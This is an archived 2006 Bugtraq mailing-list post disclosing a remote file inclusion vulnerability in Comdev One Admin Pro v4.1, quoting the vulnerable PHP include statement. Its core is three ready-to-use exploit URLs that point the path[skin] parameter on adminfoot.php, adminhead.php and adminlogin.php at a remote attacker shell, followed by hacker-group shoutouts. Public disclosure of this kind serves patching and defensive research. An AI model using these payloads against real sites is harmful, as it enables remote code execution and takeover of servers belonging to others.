bugtraq - Comdev One Admin Pro.v4.1 ( path[skin] ) Remote File include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 15 Nov 2006 18:05:49 +0000
From: "AG- Spider" <ag-spider@....com>
To: bugtraq@...urityfocus.com
Subject: Comdev One Admin Pro.v4.1 ( path[skin] ) Remote File include 

##############################################################
#
#     Comdev One Admin Pro.v4.1 ( path[skin] ) Remote File include
#
##############################################################
#      Found by : AG-Spider
#      C0ntAct : AG-Spider [at] msn [dot] com
#      Affected Software : One Admin Pro.v4.1
#      Download Script : http://www.conovo.de/script/OneAdminPro.v4.1.zip
###############################################################
#
#        <? include($path["docroot"].$path["skin"].
#
##############################################################
#
#     Exploit :-
#
#     http://www.$ite.com/adminfoot.php?path[skin]=[Spider Shell]?
#     http://www.$ite.com/adminhead.php?path[skin]=[Spider Shell]?
#     http://www.$ite.com/adminlogin.php?path[skin]=[Spider Shell]?
#
#############################################################
#
#
#     Shoutz : Black-c0de <> KaBaRa.HaCk.eGy <> KILLERxXx <> CRASH_OVER_RIDE 
<>
#                                                       SwEEt-deVil <> Young 
Hacker
#
#                       Arab Security Team
#############################################################

_________________________________________________________________
Windows Live™ Messenger has arrived. Click here to download it for free! 
http://imagine-msn.com/messenger/launch80/?locale=en-gb